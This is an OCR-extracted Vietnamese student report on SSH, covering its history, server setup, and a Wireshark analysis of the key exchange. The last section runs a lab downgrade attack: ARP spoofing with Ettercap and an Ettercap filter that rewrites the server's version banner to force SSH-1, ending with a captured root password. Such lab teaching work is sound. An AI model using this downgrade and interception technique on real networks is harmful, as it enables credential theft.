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1. Khai niém
a. Pinh nghia

SSH(Secure Shell) 1a m6t giao thitc mat ma dé van hanh cac dich vu mét cach an toan trén méi trwdng
mang khong an toan. Ung dung phé bién nhét cia SSH dwoc biét dén 1a dung dé ding nhap tir xa vao hé
thong may tinh cua nguwdi dung.

SSH cung cdp mot kénh an toan trén mot mang khong tin cdy vdéi kién tric client server (Khach chu). Cac
ung dung pho bién ctia SSH chu yéu la dang nhap tr xa va thyc hién 1énh tir xa, tuy nhién bat ky dich vu
mang nao cling c6 thé dugc bdo vé bang SSH. Hai phién ban chinh cta SSH la SSH-1 va SSH-2.

SSH hoat dong trén tang tng dung (Application) ctia mo6 hinh TCP/IP. Viéc ma héa ctia SSH dugc thuc
hién hoan toan théng sudt: ngudi dung co thé lam viéc binh thwong va khong biét rang, viéc truyén thong
ctia ho duge ma héa an toan trén mang.

b. Lich sit phat trién

SSH-1 dugc trinh bay vao nam 1995 bé Tatu Ylonen, mot nha nghién citu ¢ trwdng dai hoc Hensinki cta
Phan Lan. Sau khi mang treong dai hoc cua 6ng bi tdn cong nghe 1én mat khau trong nam d6. Muc dich
ctia SSH la dé thay thé cac giao thitc rlogin, Telnet, ftp,... c6 cing diém yéu la xac thyc ban r6 (clear text).
Ylonen da cho ra mat phan mém mién phi vao thang 7 nam 1995, cong cu nay nhanh chéng tri 1én pho
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bién, vao cudi nam 1995, c6 téi 20000 st dung tng dung dé ¢ 50 qudc gia trén toan thé gidi. Vao nam
2000, da c6 téi gan 2 triéu nguwai st dung SSH.

T&i nam 2006, mot phién ban stra d6i ciia SSH, SSH-2 dwgc ra doi va thong qua nhw mét tiéu chuidn mdi.
SSH-2 c6 ca tinh nang bao mat va dugc céi tién hon SSH-1. SSH-2 dugc phat trién bai Té cong tac ki
thuat mang "Secsh".

Vao thang 1 nam 2006, sau khi phién ban SSH-2.1 ra doi, RFC 4253 da dinh nghia ra m6t may chu hé trg
ca phién ban 2.0 va cac phién ban trwdc d6 ctia SSH. Phién ban SSH-1.99 dugc ra doi.

c. Cac dac diém an toan cia SSH

Tinh bi mat: Mang mdy tinh thudng khong dam bao bi mat, bat ky ai truy cap vao cac may dwoc két noi
v6i mang déu c6 thé bi nghe lén dit liéu. SSH cung cip tinh bi mat bidng cach ma héa dit liéu di qua
mang. SSH ho trg nhiéu thudt toan ma hoéa dir liéu vi du nhu: AES, IDEA, DES va triple-DES(3DES).

Tinh toan ven: nghia la ddm béo di¥ liéu dugc truyén tir dau nay dén dau kia cia mang khong bi thay doi.
Giao thitc SSH st dung phwong phap kiém tra toan ven mat ma, phwong phap nay kiém tra ca viéc c6 bi
bién dbi hay khong va dit liéu dén c6 ding la do dau kia gtii hay khéng. SSH st dung thuat todn bam la
MD5 va SHA-1.

Xac thyc: 1a kiém tra dinh danh cua ai d6 dé xac dinh chinh xac c6 phai ngwoi dung hgp 1€ hay khong.
Moi két ndi SSH gom hai viéc xac thyc: kiém tra dinh danh cua SSH server (Server authentication) va
server kiém tra dinh danh cta ngwoi dung yéu cau truy cap (user authentication). SSH ho trg xac thuc
bang mat khau, ma héa mat khau khi né truyén di trén mang, ngoai ra mai user cé thém chir ky khda cong
khai (per user public key signature).

2. Trien khai SSH

a. Trién khai SSH Server va cau hinh co ban

Ban bao cao nay sé trinh bay vé cach cai dat va cau hinh SSH server trén may ao CentOS (Linux)
Trén ctta s6 dong lénh, tién hanh nhap cau l1énh dué6i day d€é cai dit Open SSH

[root@localhost ~]# yum -y install openssh-server openssh-clients
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root@localhost:~

File Edit View Search Terminal Help

[root@localhost ~]# yum -y install openssh-server openssh-clients ke |
Loaded plugins: fastestmirror, refresh-packagekit, security
Loading mirror speeds from cached hostfile

* base: mirrors.vinahost.vn

* extras: mirrors.vinahost.vn

* ypdates: mirrors.vinahost.vn

Setting up Install Process

Package openssh-server-5.3pl-123.el6é 9.1686 already installed and latest version
Package openssh-clients-5.3pl-123.el6 9.1686 already installed and latest versio
n
Mothing to do

[root@localhost ~]# |} |

Hinh X: Cai dadt Open SSH trén SSH Server

Tiép theo, quan tri vién cé thé cau hinh hodc kiém tra SSH server v4i cau lénh chinh stra tap tin cau hinh

nhu sau
[root@Ilocalhost ~]# vi /etc/ssh/sshd_config

Bué c tiép theo, kiém tra twong Ita, dé cho phép cac luong lwu lwgng truy cdp tir bén ngoai stt dung dich
vu cta SSH. Néu twong Itva chwra dwge cau hinh, hdy thém dong duéi day dé cho phép SSH hoat dong mot
cach hiéu qua nhat.

-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT
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root@localhost:~

File Edit View Search Terminal Help

B Firewall configuration written by system-config-firewall
# Manual customization of this file is not recommended.
*filter
:INPUT ACCEPT [8:8]
:FORWARD ACCEPT [8:0]
:0UTPUT ACCEPT [8:0]
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
INPUT state --state NEW -m tcp -p tcp --dport 22 -j ACCEP
-A INPUT -m state --state NEW -m tcp -p tcp --dport 23 -j ACCEPT
-A INPUT -j REJECT --reject-with ilcmp-host-prohibited
-A FORWARD -j REJECT --reject-with icmp-host-prohibited
COMMIT

"/etc/sysconfig/iptables” 15L, 542C [

Hinh X: C4u hinh twong Itta dé st dung SSH
Khéi dong lai dich vu SSH v6i cau 1énh
[root@Ilocalhost ~]# service sshd restart
[root@localhost ~]# service sshd restart
Stopping sshd: [ oK ]

Starting sshd: [ oK ]
[root@localhost ~]# ||

Hinh X: Khdi dong lai SSH trén server

b. Cau hinh SSH Client

Trén may tram window 7, tai xuéng va st dung phan mém Putty dé c6 thé két noi tGi SSH server. Ban c6
thé download Putty tai dia chi

https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
Sau day la mét vai thong s6 can chu y khi st dung Putty:

* Host Name: nhap vao domain hodc IP Public ctia Server/VPS
e Port: 22 dé gia tri mac dinh.
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ﬁ PuTTY Configuration

Category:
= S;ssinn | Basic options for your PuTTY session |
+ Logging Specify the destination you want to connect to
=~ Terminal
Host Mame (or IP address) Port
- Keyboard
- Bell 127.0.01| 22
- Features Connection type:
= Window (T Raw () Telnet () Rlogin @ 55H () Seqal
?;EEE!EHCE Load, save or delete a stored session
- Behaviour
- Tranelation Saved Sessions
- Selection
- Coolours -
Default Settings
[=- Connection Load
. Telnet Delete
H_lugin
- 55H
- Senal Close window on exit:
() Mways () Newver @ Only on clean exdt
phot |[ Hep | [ Open | Cancd

Hinh X: Giao dién cua Putty
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3. Qua trinh hoat dong ciia SSH & Phan tich véi WiresShark
a. Phan tich hoat dong ciia SSH
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Hinh X: Qua trinh hoat dong cia SSH2

i

M4dy chu SSH sé lang nghe trén mot cong duge chi dinh cho cac két néi. Nhiém vu ctia may chu la
thwong lwgng cac két ndi an tona, xac thuc client, thiét [ap moi trirong néu gidy ty quyén duge chap nhan.
Client chiu trach nhiém bat tay TCP vGi mdy chu, dam phan két ndi an toan, xac minh may cha véi thong
tin da ghi lai trirdc d6 va cung cdp chitng chi dé xac thue.

Phién lam viéc SSH dwgc thiét 1ap theo hai giai doan riéng biét, dau tién la déng y thiép 1ap ma héa dé
bédo vé truyén thong trong twong lai, giai doan thit hai la xac thyc ngudi dung va xac dinh xem c6 nén cap
phép truy cap vao may chu hay khong.
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Pam phan ma hoa cho phién lam viéc

Khi c6 yéu cau két n6i TCP tir mdy client, server dap &ng vd@i cac phién ban giao thitc ma né dang ho trg.
Néu client phu hgp va chap nhén céc phién ban giao thitc ma server hé trg, két ndi van tiép tuc. Sau do ,
may chu cung cdp mot khéa may cha cong khai, thit ma client c6 thé st dung dé kiém tra day c6 phai la
may chu dy dinh hay khéng (public-key certificates).

Tai thoi diém nay, ca hai bén thirong thao mot khoa phién, st dung thuit toan Diffie-Hellman. Thudt todn
nay (va cac bién thé ctia né) cho phép mai bén két hgp cac dir liéu ca nhan véi cac dit liéu cong khai tir hé
thong dé tao ra mot khda phién bi mat giong hét nhau.

Khoa phién nay sé dugc dung dé ma héa toan bd phién lam viéc. Cac cdp khoa cong khai va bi mat dugc
st dung trong thu tuc nay sé hoan toan khac biét vdi cac khéa SSH dé xac thyc client tdi server.

Thuat toan Diffie-Hellman phan tich cdn ban nhw sau:
* Ca hai bén déu chon ra mot s6 nguyén t6 16n, dong vai tro la gid tri hat giong.

* Ca hai bén déu chon ra mot thudt todn ma hoéa doéi xitng (thwong la AES), sé dugce st dung dé thao
tac cac gia tri theo mot cach xac dinh truéc.

« Ngoai ra, m6i bén chon ra mét s6 nguyén té6 khac (dugc gitr bi mat v4i nhau), s6 nay dugc dung
lam khoa bi mét cho twong tac nay. (N6 hoan toan khac véi khéa bi mat ma SSH st dung dé xac
thwe).

» Sau khi di c6 khéa bi mét , Thuat toan ma héa d6i xitng va s6 nguyén té6 chung sé dwoc st dung
dé tao ra khoa cong khai xudt phat tir khoa bi mat. ( 2 bén c6 thé chia sé vdi nhau khdéa cong
khai )

* Hai bén chia sé khoa cong khai véi nhau.

» Bén nhan st dung khoéa bi mat caia ho, khéa cong khai vira nhan dwgc va s6 nguyén t6 chung chia
sé dé tinh ra khda bi mat duwgc chia sé. Mac du diéu nay dugc tinh toan doc 1ap moi bén, st dung
khda riéng va khda cong khai, tuy nhién, két qua la cung mot khao bi mat dwoc chia sé.

» Khda bi mét dugc chia sé dugce stt dung dé ma hda tat ca cac giao tiép sau do.

Khoa bi méat dwgc tao ra la mot khéa ddi xitng, c6 nghia la ciing mot khéa dwgce st dung dé€ ma hoa tin
nhan, c6 thé dugc sir dung dé giai ma & phia bén kia. Muc dich cua viéc nay la dong goi tat ca cac thong
tin lién lac khac trong duwong ham duwgc ma héa, do d6 ngudi ngoai khong thé giai ma dugc.

Sau khi phién méa héa duwgce két ndi, qua trinh xac thye nguai dung dwgce bat dau.
Xac thye truy cap cia nguwdi dung vao may chu

Giai doan nay bao géom xac thire ngwoi ding va quyét dinh truy cap. C6 mot vai phwang phap khac nhau
6 thé str dung dé xac thuc.
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Céch don gian nhat 1a xac thyc mat khau, trong d6, may chu chi can yéu cau client cung cép tai khoan va
mat khiu cua tai khoan ma ho dang dang nhap. Mat khau dugc giri véi dang ma hda.

Maidc du mat khau sé dirgc ma héa, nhung phwrong phap nay thuong khong dwge khuyén cao do s han ché
vé sy phttc tap ctia mat khau. Ké tan cong c6 thé st dung nhiéu phuwong phap dé tan cong mat khau nhu:
doan mat khau, vét can hay tw dién,...

Lura chon pho bién nhét va dwgc dé xuat la sit dung cdp khéa SSH. Céap khéa SSH 1a cac khéa khong doi
ng, cé nghia la hai khoa lién quan nhau phuc vu céac chitc nang khac nhau.

Khéa cong khai dugc dung dé ma héa dit liéu chi cé thé dugc giai ma bang khoa bi mat.

Xac thyc bang cach st dung cdp khéa SSH bat dau sau khi ma héa déi xing da dugc thiét 1ap. Tha tuc
dién ra nhu sau:

* Client bat dau bang cach giri mét ID ctia minh t6i may chu.
« Server sé kiém tra tép tin authorized_keys cua tai khoan véi dinh danh ID.

* Neéu Khoa cong khai c6 ID phu hgp dwgce tim thay trong tap tin trén, may chu sé tao ra mét so
ngau nhién va stt dung khéa cong khai dé ma hoa s6 nay.

» Server gtti tGi client tin nhan dwgc ma hoa.

*  Néu client thue sy ¢6 khéa bi méat phu hgp, anh ta c6 thé gidi ma tin nhdn nhan dwgc bang khéa bi
mat va tim ra s6 ngau nhién cta server.

» Khach hang két hgp s6 dugc giai ma va khoa phién dang st dung dé ma hoéa thong tin lién lac va
stt dung MD5 dé tinh gia tri bam.

+ Client gti lai gi tri bam MD?5 t&i server nhu la cau tra 10i cho tin nhan ma hoéa da dugc giai ma.

« Server stt dung khéa phién d6i xitng két hgp vdi s6 ngau nhién ban dau va tinh toan MD5. N6 so
sanh tinh toan cta chinh mfinh va két qua client gwi t&i, néu hai gia tri nay trung khép, qua trinh
xac thyc thanh cong.

b. Bat va phan tich géi tin véi WireShark

Thyc hién st dung phan mém nghe 1én va phan tich goi tin la Wireshark, chiing ta sé thu dugc két qua
qué trinh bat tay ba budc, thuc hién trao déi thong tin va trao doi khéa bang thuat toan Diffie-Hellman.
Céc géi tin déu du6i dang ban ro, cho dén khi Khoéa phién dwgc thanh 14p va ma hda cac géi tin sau do.

43 122.788611 192.168.111.1 192.168.111.129 TCP 66 3831 » 22 [SYN] Seq=0 Win=8192 Len=8 M55=1460 WS=256 SACK_PERM=1
44 122.703886 192.168.111.129 192.168.111.1 TCP 66 22 =+ 3831 [SYN, ACK] Seq=8 Ack=1 Win=1468@ Len=8 MSS=146@ SACK_PERM=1 WS=64
45 122.7@3935 192.168.111.1 192.168.111.129 TCP 54 3831 » 22 [ACK] Seq=1 Ack=1 Win=65536 Len=0

Hinh X: Qua Trinh bat tay TCP
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|| 46 122.712979 192.168.111.1 192.168.111.129 55Hv2 82 Client: Protocol (S5SH-2.@-PuTTY_Release 8.7@)

Frame 46: 82 bytes on wire (656 bits), 82 bytes captured (656 bits) on interface @

Internet Protocol Version 4, Src: 192.168.111.1, Dst: 192.168.111.129
Transmission Control Protocol, Src Port: 3831, Dst Port: 22, Seq: 1, Ack: 1, Len: 28
SSH Protocol

Protocol: S55H-2.8-PuTTY_Release_8.70

| N

Hinh X: Thong tin vé SSH Client

Ethernet II, Src: Vmware_c@:00:08 (80:50:56:c0:00:08), Dst: Vmware_bd:086:a8 (88:8c:29:bd:06:a0)

48 122.728124 152.168.111.129 192.168.111.1 S5Hw2 75 Server: Protocol (SSH-2.8-OpensSH_5.3)

=

v

v

Internet Protocol Version 4, Src: 192.168.111.129, Dst: 192.168.111.1

v

4 SSH Protocol
Protocol: 55H-2.8-OpenSsH_5.3

Hinh X: Thong tin vé SSH Server

Frame 48: 75 bytes on wire (688 bits), 75 bytes captured (688 bits) on interface @
Ethernet II, Src: Vmware_bd:@6:a@ (@8:8c:29:bd:86:a8), Dst: Vmware_c@:80:88 (90:50:56:c0:008:88)

Transmissicn Control Protocel, Src Port: 22, Dst Port: 3831, Seq: 1, Ack: 29, Len: 21

49 122.728439 192.168.111.1 192.168.111.129 S55Hv2 1158 Client: Key Exchange Init
58 122.728938 192.168.111.129 192.168.111.1 SSHv2 894 Server: Key Ex(hange Init
gorithms

Cookie: cefB828@d668afI632ea73T9e2abbafbe
kex_algorithms length: 248

kex_algorithms string [truncated]: curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp3a4,ecdh-shaz-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchang:

server_host_key_algorithms length: 87
server_host_key_algorithms string: ssh-ed25519,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistps21,ssh-rsa,ssh-dss
encryption_algorithms_client_to_server length: 189

encryption_algorithms_client_to_server string: aes256-ctr,aes256-cbe,rijndael-cbe@lysator.liu.se,aes192-ctr,aes192-cbe,aes128-ctr, aes128-cbe,chacha2@-polyl385gopenssh.

encryption_algorithms_server_to_client length: 189

encryption_algorithms_server_to_client string: aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aesl2-ctr,aes128-cbe,chacha2e-polyl3@5g@openssh.

mac_algorithms_client_to_server length: 155

mac_algorithms_client_to_server string: hmac-sha2-256,hmac-shal,hmac-shal-36,hmac-mdS,hmac-sha2-256-etm@openssh. com,hmac-shal-etmopenssh. com, hmac-shal-36-etm@openssh.

mac_algorithms_server_to_client length: 155

mac_algorithms_server_to_client string: hmac-sha2-256,hmac-shal,hmac-shal-96,hmac-mdS, hmac-sha2-256-etm@openssh. com,hmac-shal-etmopenssh. com, hmac-shal-36-etm@openssh.

compression_algorithms_client_to_server length: 9
compression_algorithms_client_to_server string: none,zlib
compression_algerithms_server_to_client length: 9
compression_algorithms_server_to_client string: none,zlib
languages_client_to_server length: @
languages_client_to_server string: [Empty]
languages_server_to_client length: @

Hinh X: Trao d6i thudt todn ma hoéa gitta Client va Server

com, blowfish-ctr,blc
com, blowfish-ctr,ble
com, hmac-mds - etmope

com, hmac-mds - etm@ops

51 122.761648 192.168.111.1 192.168.111.129 SSHv2 78 Client: Diffie-Hellman Group Exchange Request
52 122.764128 192.168.111.129 192.168.111.1 SSHv2 598 Server: Diffie-Hellman Group Exchange Group
53 122.887748 192.168.111.1 192.168.111.129 SSHv2 582 Client: Diffie-Hellman Group Exchange Init

Internet Protocol Version 4, Src: 192.168.111.129, Dst: 192.168.111.1

4 55H Protocol
4 SSH Version 2 (encryption:aes2S6-ctr mac:hmac-sha2-256 compression:none)
Packet Length: 532
Padding Length: 8
4 Key Exchange

Message Code: Diffie-Hellman Group Exchange Group (31)
Multi Precision Integer Length: 513
DH GEX modulus (P): 808dall@s47314b53753912220681212a0b2ed264bf12505. ..
Multi Precision Integer Length: 1
DH GEX base (G): @5
Padding String: @eeoecesepeoee080

Hinh X: Tinh toan khéa phién
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Frame 52: 598 bytes on wire (4720 bits), 59@ bytes captured (47208 bits) on interface @
Ethernet II, Src: Vmware_bd:@6:a@ (@@:@8c:29:bd:@6:a8), Dst: Vmware_c@:80:88 (8@:50:56:c9:00:08)

Transmission Control Protocol, Src Port: 22, Dst Port: 3831, Seq: 862, Ack: 1157, Len: 536



49 122.72@8439 192.168.111.1 192.168.111.129 S5Hw2 1158 Client:
58 122.7208938 192.168.111.129 192.168.111.1 55Hv2 894 Server:
51 122.76164@8 192.168.111.1 192.168.111.129 55Hw2 78 Client:
52 122.764128 192.168.111.129 192.168.111.1 55Hw2 598 Server:
53 122.887748 192.168.111.1 192.168.111.129 55Hw2 582 Client:
54 122.848313 192.168.111.129 192.168.111.1 TCP

55 122.8668718 192.168.111.129 192.168.111.1 S5Hw2 1158 Server:

Key Exchange Init

Key Exchange Init

Diffie-Hellman Group Exchange Request
Diffie-Hellman Group Exchange Group
Diffie-Hellman Group Exchange Init

54 22 5 3831 [ACK] Seq=1398 Ack=1685 Win=19872 Len=0

Diffie-Hellman Group Exchange Reply, New Keys

4 S5H Version 2 (encryption:aes256-ctr mac:hmac-sha2-256 compression:none)
Packet Length: 1884
Padding Length: 18
4 Key Exchange
Message Code: Diffie-Hellman Group Exchange Reply (33)
» KEX host key (type: ssh-rsa)
Multi Precision Integer Length: 512
DH server f: 1e847a8736c5c1@36T4bf7b5596T9eadf7c53c54818644a4. ..
KEX H signature length: 271
KEX H signature: @@ee@e877373682d727361000001000102b12aT7aTl72164. ..
Padding String: @eeceoecoaeoopoooean
4 55H Version 2 (encryption:aes256-ctr mac:hmac-sha2-256 compression:none)
Packet Length: 12
Padding Length: 1@
4 |Key Exchange
Message Code: New Keys (21)
Padding String: @0820200000000800080

Hinh X: Qua trinh bau ban va tao khda phién

4. Diém yéu cua SSH va Tan cong SSH

a. Diém yéu cua SSH-1 va tan cong sshmitm

Cung quay trd lai nhitng nam dau tién khi SSH ra doi, phién ban dau tién cia SSH 1a SSH1. Chiing ta

cung diém qua cac budc xac thye co ban ctia SSH1:

» Client tao yéu cau két n6i SSH t&i Server
* SSH server hoi dap t6i client khéa tam va khéa may chu cong khai

* SSH Client tinh todn mdt khéa phién 256 bit sit dung khéa may chia cong khai va khéa tam vira

nhan dwoc va giti khéa phién nay t&i SSH server

» SSH server giai ma khéa phién 256 bit bang cach st dung khéa bi mat va dwa ra danh séch thuét

toan ma hoéa dang co san trén may chu.

* SSH client sé lya chon mot thudt toan hgp 1y va yéu cau xac thyc dinh danh user (sé duwge ma

hoa)

10| Page



SSH1 Authentication Process
SSH1 Client SSH1 Server

A\

1. Session Request

<l

2. Public host key and temporary server key

3. 256 bit session key

4. Encryption enabled - cipher methods presented
|

5. Cipher method selected and user authentication requested

Hinh X: Qua trinh x4c thuc ctia SSH1

Dura vao nguyén ly hoat dong trén, ké tdn cong da nghi ra mét phwong thite tan cong duwge goi la SSH
Monkey in The Middle dé tién hanh chiém phién lam viéc ctia ngwoi dung st dung SSH-1.

sshclient hostifehost sshsenver

- =] =
i ol

1 Session request 2 Session recuest

3 Public host key and temporary server
" key

4 256 bit session key
5. Public host key and temporary server
6. 256 bit session key
7 Encryption ensbled - apher methods
" presented
8 Cipher method selected and user
- authentication requested

o Encryption enabled - cipher methods
" presented

10 Cipher method selected and user
" authentication requested

| |
| |
I |
| |
| |
| |
| |
| |
I I
| |
| |
| |
| |
| |
| |
| |
| [
| i key
| |
| |
| |
I |
| |
I |
| |
| |
| |
I I
| |
| |
| |
| |
| |
| |
| |
] ]

Figure 3 sshmitm Authentication Process

Hinh X: Tan cong MiTM SSH-1
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b. Diém yéu cua SSH-1.99 va mo phong tan cong ha cap (DownGrade Attack)
Phan tich cac phién ban ctia SSH

*  SSH-2.xx: May chu chi ho trg giao thitc SSH-2
*  SSH-1.99: May cht ho trg giao thitc SSH-1 va SSH-2
«  SSH-1.51: May chu chi ho trg giao thitc SSH-1

Khi SSH client nhdn dwgce thong tin ndi trén tir may chu, client ¢6 thé chon phién ban thich hgp ma ho
muon. Trong tredng hgp, server chi ho trg mot trong hai phién ban, Client sé khong c6 sy lwa chon nao
khac. Néu Server stt dung SSH-1.99, Client sé mac dinh chon giao thitc SSH-2 vi SSH-2 an toan hon
SSH-1.

Ma4u chot cuaa kiéu tdn céng nay chinh la nham vao cdu hinh sai ctia nguwdi quan tri may chi SSH. D€ tan
cong ha cdp SSH xay ra, Ca may chti SSH va may tram SSH déu phai ho trg SSH-1 va SSH-2 (st dung
phién ban SSH-1.99 tai server). Thach thitc 16n nhat & day déi véi ké tdn cong dé chinh la SSH-2 (phién
ban an toan) luén luén dugc tin dung va stt dung & ca client va server.

Gia st bang mgt cach nao do, ké tan cong co thé thay déi thong tin SSH server st dung SSH phién ban
1.51 thay vi 1.99, Client sé tin twdng rang SSH server chi st dung va ho trg giao thitc SSH-1, va sau do6
Client sé thiép 1ap phién két n6i SSH-1 tGi server, ké tan cong c6 thé 1gi dung cac 16 hong, diém yéu trén
SSH-1 dé tién hanh tdn cong Man in The Middle va c6 dugc méat khau.

M0 hinh hoat déng:

* May cha SSH: CentOS st dung SSH v1.99
* May tram window 7: St dung Putty ho trg ca hai giao thitc SSH-1 va SSH-2
* May tan cong Kali

T — ]

A 7
PC-PT ngﬂ Ehdj;'—r PC-PT
S5H Client S5H Server w1.99

Window ¥: 192.168.222.152

Cent05: 192.168.222.158
1

J

ST
A
PC-PT
AttackerMiTM / DownGrade Attack

Kali Linux: 192.168.222.154

Hinh X: M6 hinh thyc nghiém
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:':3 Kali- Linux- 2.0.0-wrm-amdi - Vidbware Workstation 12 Player (Mon-commercial use only) = o s

Player = | JI ~ cB I ISh *
M -
File Edit View Search Terminal Help
Eiich
P

$!
Hinh X: Méy Tan cong - Kali OS
?f Cent05 64-bit - Vhware Workstation 12 Player (Mon-cemrmercial use anly) - | x
‘ Player~ | I » & = = « | &l i
| +% Applications Places System %@@@@ g:22 am @)

| root@localhost:~
File Edit Wiew Terminal Tabs Help
# S0penBsSD: sshd_config,v 1.73 2005/12/86 22:38:28 reyk Exp $

This is the sshd server system-wide configuration file. See
sshd_config(5) for more information.

This ss5hd was compiled with PATH=/usr/localsbim:/bin:fusr/bin

# The strategy used for options in the default sshd_config shipped with
# OpenS5H 15 to specify options with their default value where

# possible, but leave them comménted. Uncommented options chanmge a

# default value,

i#Port 22

Frotocol 2,1

#Frotocol 2
#hddressFamily any
#listenAddress 8.8.0.8
#lListenhddress

# HostKey for protocol wersion 1
#HostKey fetc/ssh/ssh_host key

# HostKeys Tor protocol versiom 2
#HostKey fetc/ssh/ssh_host_rsa_key
#Hosthey fetc/ssh/ssh_host _dsa_key

!| |! root@localhost: ~ | Dl_ I |

Hinh X: SSH Server version 1.99
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55 Windews 864 - Viviware Workstation 12 Player (Mon-commercial use only) - m] »

& If O < | &

Options controling S5H connections
Diata to send o the server
Remote command

Protocol options
| Dont stat 3 shell or command o o
Enable compression
Prefered S5H profocol version
1 ondy 1 & 2

Encryption aptions [}
Encryption cipher selection pobcy.
AES (55H-2 ordy)
Blowfish
3DES
- wam below hers -
gl_dsou (55H-2 only)

Enable legacy use of sngle-DES in 55H-2

Hinh X: Client SSH st dung Putty

Trong budc dau tién, ké tdn cong sé st dung phuwong phap ARP spoof dé tién hanh tan cong ké ding gitta
(MiTM Attack).

B Kali-Linwe-2.0.0-vm-amd6d - Vidware Werkstation 12 Player (Mon-commercial use anly) - (] 4

Flayer = il ~

ettercap 0.8.2 €

Start Targets Hosts View Mitm Filters Logging Plugins Info
Host List * | Targets x

Target 1 Target 2
192.168.222.152 192.168.222.158

Delete Add Delete Add

RP pm;oning victims:

GROUFP 1 : 192.168

GROUP 2 : 192.168.222.

Hinh X: Tan cong ARP spoof
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B Windews 8 %64 - ViMware Warkstation 12 Player (Non-commercial use only) - =] e

Player= | Il = & I [y €| &

Hinh X: Bang ARP ctia Client khi bi tan cong

| T CentOS 64-bit - VMhware Workstation 12 Player (Mon-cormmercial use only) - m] b4
Player = I~ & = & €| &
| 4% Applications Places Systern R EENE & a:20 am Qi

| rnut@l:)call-"lnit; —
Fle Edit View Terminal Tabs Help
collisions:0 txqueuelen:lOBs

RX bytes:65817 (63.4 KiB) TX bytes: 13249 (12.9 KiB)
Base address:0x2008 Memory:fd5c8000-fd5e0008

Link encap:Local Loopback

inet addr:127.8.8.1 Mask:255.0.8.0

inet6 addr: ::1/128 Scope:@Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

R¥ packets:1184 errors:® dropped:® overruns:® frame:@
TX packets:1184 errors:® dropped:® overruns:® carrier:@
collisions:@ txqueuelen:®

RX bytes:2212432 (2.1 MiB)} TX bytes:2212432 (2.1 MiB)

[root@localhost ~]& rpm -qa | grep openssh
openssh-askpass-4.3p2-36.el5

openssh-server-4.3p2-36.el5

openssh-clients-4.3p2-36.el5

openssh-4,3p2-36.e15

[root@localhost ~]# service sshd status

openssh-daemon (pid 4441) is running...

[root@localhost ~]& arp -a

7 (192.168,.222.154) at @0;0C;29.E9:D3:7E [ether] on ethd
T (192,.168,222.152) at ﬁﬁ:ﬁc{ﬁQ:EQ:DS:?E [ether] on eth@
[root@localhost ~]#

Ll [ @ root@iocainost:~

Hinh X: Bang ARP ctia Server khi bi tdn c6ng



Sau khi da & vi tri "¢ giita", Ké tan cong tiép tuc nghe ngéng tat ca cac phién SSH dinh nghia phién ban
SSH-1.99 tir Server, nhdam thay d6i thong tin thanh SSH-1.51.Va sau d6 cha dgi két qua.

5 Kali- Linue-2.000-vm-amadbd - VWhware Werkstation 12 Player (Mon-cemmercial use anly) - a ot

Player = -

root@kali: fusrfshare/ettercap e e 0

File Edit View Search Terminal Help

if (ip.proto == TCP) {
if (tep.sre == 22) {
if ( replace("SSH-1.99", "SSH-1.51") ) {
msg("[SSH Filter] SSH downgraded from version 2 to 1\n");
} else {
if ( search(DATA.data, "SSH-2.008") )
msg({"[55H Filter] Server supports only S5H wversion 2\n");
} else {
if ( search(DATA.data, "SSH-1.51") ) {
meg("[S5H Filter] Server already supT-;usr'Is only version lwn");

1

Hinh X: Bo loc SSH cua Ettercap

_3 Kali-Linu- 2 0U0-vm-amdbd - Whhware Werkstation 12 Player (Mon-commercial use anly] _— [m] =

Player = -

fddi tr eth

the meta-tree

real

Hinh X: Bién dich b loc filter SSH
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5 Kali-Linwe-2.000-vm-amedéd - Vhiware Werkstation 12 Player (Men-commercial use anly) - =] o

Player = -

ettercap 0.8.2 e e |

Start Targets Hosts View Mitm Filters Logging Plugins Info

Host List * | Targets x

Target 1 Target 2
192.168.222.152 192.168.222.158
L
Delete Add Delete Add

HAREE pOISoNING VICTIMS:
GROUP 1:192.168.222.152 00:0C:29:73:09:67

GROUP 2 : 192.168.222.158 00:0C:29:F3:AQ:AB

Lt filters loaded from fusr/share/ettercapfilter. ef B

Fermission

deniad

Hinh X: St dung bd loc SSH cho Ettercap

- i | T Kali- Linue-2.0.0 064 - VMware Work 112 Player (N mmercial use only) TS u] x

| Player = I~ & = €
Applications = s ttercap ™ [ w - o -
ettercap 0.8.2 ° @ G

Start Targets Hosts View Mitm Filters Logging Plugins Info

Host List * | Targets =

Target 1 Target 2

192.168.222.152 192.168.222.158

Delete Add Delete Add

GRUUF 1 192,108,222, 158 UUIUL 29T STAUIAD
[Content filters loaded from Jusr/share/ettercap/filter.ef...
Unified sniffing already started...

[SSH Filter] S5H downgraded from version 2 to 1

SSH : 192.168.222.158:22 -> UBER: root PASS: 123456

#!

% T % -v,dqm
Hinh X: Téan c6ng ha cap thanh cong

Cung phan tich lai v6i Whire Shark, ta chi thdy SSH-1 dwgc thiét 1ap, mdc du Server st dung SSH
version 1.99.
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*ethD [Wireshark 1.12.6 (Git Rev Unknewn from unknewn]] e e o
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

©@dm: Bixn A<«».0732 FBE aacafl g¥sHs= 8
FiLter:| - }Expnessmn... Clear Apply Save
Time Sourc Destinatian Protocol Length Info
B DU UNUSUSUL WA TE_EI0S: VI _ ¢ 33 U A GE LWL LDD, £££, 120 LB HL OUIUL L9 MYIUS /8

B3 BO.0SO4BS00 Vmware_a9:d3:7e Vmware_f3:a0:ab ARP 42 152.168.222.152 is at 00: :e9:d3:7e (duplicate use of 152.168.222.158 detected!)

B0.74993000 152.168.222.152 192.168.222.158 60 49528-22 [ACK] Seqg=1 Ack=l Win=865700 Len=0

92 BO.76215700 152.168.232.152 192.168.222.158 81 45528-22 [PSH, ACK] Seq=l Ack=22 Win=865878 Len=27

» Frame 90: 75 bytes on wire (600 bits), 75 bytes captured (800 bits) on interface o

» Ethernet II, Src: Vmware_f3:a@:ab (00:0c:29:f3:a0:ab), Dst: Vmware_eS:d3:7e (00:0c:29:e9:d3:7e)

